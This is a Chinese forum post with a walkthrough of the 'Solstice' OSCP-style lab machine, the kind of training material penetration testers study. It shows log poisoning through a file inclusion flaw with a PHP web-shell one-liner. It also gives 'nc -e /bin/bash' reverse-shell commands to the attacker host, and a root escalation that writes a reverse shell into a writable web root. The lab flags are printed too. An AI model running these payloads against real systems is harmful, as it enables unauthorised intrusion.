OSCP系列靶场-Esay-Solstice

杳若   ·   发表于 2023-07-30 22:24:11   ·   CTF&WP专版

OSCP系列靶场-Esay-Solstice

总结

getwebshell : 信息收集 → 发现文件包含 → 包含访问日志 → 构造恶意反弹shell访问 → 包含反弹shell访问执行 → 反弹getwebshell

提 权 思 路 : 发现root权限进程 → 目录可控 → 写入提权命令 → 执行进程 → 提权

准备工作

  • 启动VPN
    获取攻击机IP > 192.168.45.194
  • 启动靶机
    获取目标机器IP > 192.168.155.72

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)
    1. sudo nmap --min-rate 10000 -p- 192.168.155.72


开放的端口->21,22,25,80,2121,3128,8593,54787,62524

目标端口对应服务探测

  1. # tcp探测
  2. sudo nmap -sT -sV -O -sC -p21,22,25,80,2121,3128,8593,54787,62524 192.168.155.72

信息收集-端口测试

21端口的信息收集(无)

开放的21端口表示系统可能正在运行FTP服务器,允许通过FTP协议上传和下载文件。通过FTP客户端软件,用户可以使用用户名和密码连接至FTP服务器,并进行文件管理操作。
首先尝试匿名登录21端口 anonymous
ftp 192.168.155.72连接后发现是root用户,不存在匿名


如果没有思路后期可以尝试爆破

25端口的信息收集(待定)

端口25/tcp 是开放的,并且被标识为 “smtp”。SMTP 是邮件传输协议 (Simple Mail Transfer Protocol) 的标准端口。当端口25/tcp 处于开放状态时,表示该系统可能作为邮件服务器或邮件传输代理 (Mail Transfer Agent,MTA) 运行。SMTP 协议用于在邮件服务器之间传递电子邮件。

80端口的信息收集


80端口显示正在设置数据库,请稍后重试

隐藏信息探测

  1. curl http://192.168.155.72

没发现额外的信息

目录扫描

因为80端口没什么功能点,也判定不出指纹,进行目录扫描

2121端口的信息收集(无)

  • 2121/tcp 是 ccproxy-ftp 服务的端口。CCProxy是一种代理服务器软件,支持FTP代理功能。该端口用于CCProxy提供FTP代理服务。
    这个2121也存在ftp的信息,尝试用ftp
    ftp 192.168.155.72 2121
    该端口匿名登录成功,查找一下信息


有一个目录pub

3128端口的信息收集(放一边)

  • 3128/tcp 是 squid-http 服务的端口。Squid是一种流行的代理服务器和Web缓存软件,用于提供Web请求的转发、缓存和访问控制等功能。该端口用于Squid提供HTTP代理服务。

访问了一下没啥东西


没扫出东西? 看了一下是和缓存有关系

8593端口的信息收集

  • 8593/tcp 是一个开放的 HTTP 端口,并且被标识为 “PHP cli server 5.5 or later (PHP 7.3.14-1)”。这可能表示系统正在运行一个 PHP 命令行服务器,版本为 5.5 或更高版本(具体为 PHP 7.3.14-1)。PHP 命令行服务器是用于开发和测试目的的简易的 PHP Web 服务器。

提示还在搭建图书馆

点了一下按钮 URL发生了变化
book = list

这个传参可以作为一个测试点
尝试加了一个’发现没有回显


思考会不会是LFI 发现存在目录穿越


发现存在目录穿越之后,思考是否可以包含日志
因为这个服务器是apache,所以直接访问/var/log/apache2/access.log

54787端口的信息收集

  • 54787/tcp 是一个开放的 HTTP 端口,并且被标识为 “PHP cli server 5.5 or later (PHP 7.3.14-1)”。类似于上述描述,这也可能表示系统正在运行一个 PHP 命令行服务器。

啥都没有

62524端口的信息收集(不知道)

  • 62524/tcp 是一个开放的端口,并且被标识为 “tcpwrapped”。“tcpwrapped” 表示该端口被某种方式的封装/封锁,无法确定具体的服务或应用程序。

漏洞利用-getwebshell

目录穿越getwebshell

8593端口的文件读取发现包含的都是之前访问80端口时的目录扫描信息
根据PHP的后端前往80端口构造一句话
<?php system($_GET[YaoRuo]); ?>

利用攻击机nc远程连接后发送
nc 192.168.155.72 80
GET <?php system($_GET[YaoRuo]); ?> HTTP/1.1


之后我们刷新日志查看PHP脚本是否存在
可以看到一条GET后面内容不显示的访问日志,这就说明payload写入成功了
确认是文件包含

我们首先监听反弹shell
nc -lvvp 4444

之后我们构造反弹payload
&YaoRuo=nc -e /bin/bash 192.168.45.194 4444

因为带有空格,我们进行一下url编码

&YaoRuo=nc%20-e%20%2Fbin%2Fbash%20192.168.45.194%204444

内网遨游-getshell

交互shell

由于获取的shell交互不友好,利用python获得新的交互shell

  1. # 利用python获取交互shell -> python失败使用python3
  2. python -c "import pty;pty.spawn('/bin/bash')";

FLAG1获取

  1. find / -name local.txt 2>/dev/null
  2. /var/www/local.txt
  3. cat /var/www/local.txt
  4. 40cfb7965f5dd1e869fff100d4fc509e

权限提升尝试

提权尝试1

  • 默认密码尝试 ×
  • sudo -l 尝试 × (需要密码)
  • suid尝试 ×
    find / -perm -u=s -type f 2>/dev/null
    nmap、vim、find、bash、more、less、nano、cp、awk、php

尝试提权2-root可执行文件反弹shell

  1. # 调整行列,方便查询进程
  2. stty rows 50 cols 250
  3. # 查找进程,是否存在root权限进程
  4. ps aux

这个在本地57端口的进程调用了php

/usr/bin/php -S 127.0.0.1:57 -t /var/tmp/sv/是使用 PHP 的内建 Web 服务器在本地主机(127.0.0.1)的 57 端口上运行一个 Web 服务器,并将根目录设置为/var/tmp/sv/


尝试查看具有rwx权限,如果我们写入其中并执行的话即可进行提权

  1. # 写入反弹shell
  2. echo "<?php system('nc -e /bin/bash 192.168.45.194 4555'); ?>" > /var/tmp/sv/index.php
  3. # 等待开启监听之后
  4. curl localhost:57
  1. # 攻击机开启监听
  2. nc -lvvp 4555

成功弹到

获取交互shell python -c "import pty;pty.spawn('/bin/bash')";

FLAG2获取

  1. cat /root/proof.txt
  2. 1b1072b9066a1fcca671680b8f173c69

完结撒花~

总结

看见这么多端口不用畏难,一个一个梳理过去完全ok

用户名金币积分时间理由
Track-魔方 600.00 0 2023-08-06 14:02:59 深度 200 普适 200 可读 200

打赏我,让我更有动力~

0 条回复   |  直到 9个月前 | 234 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.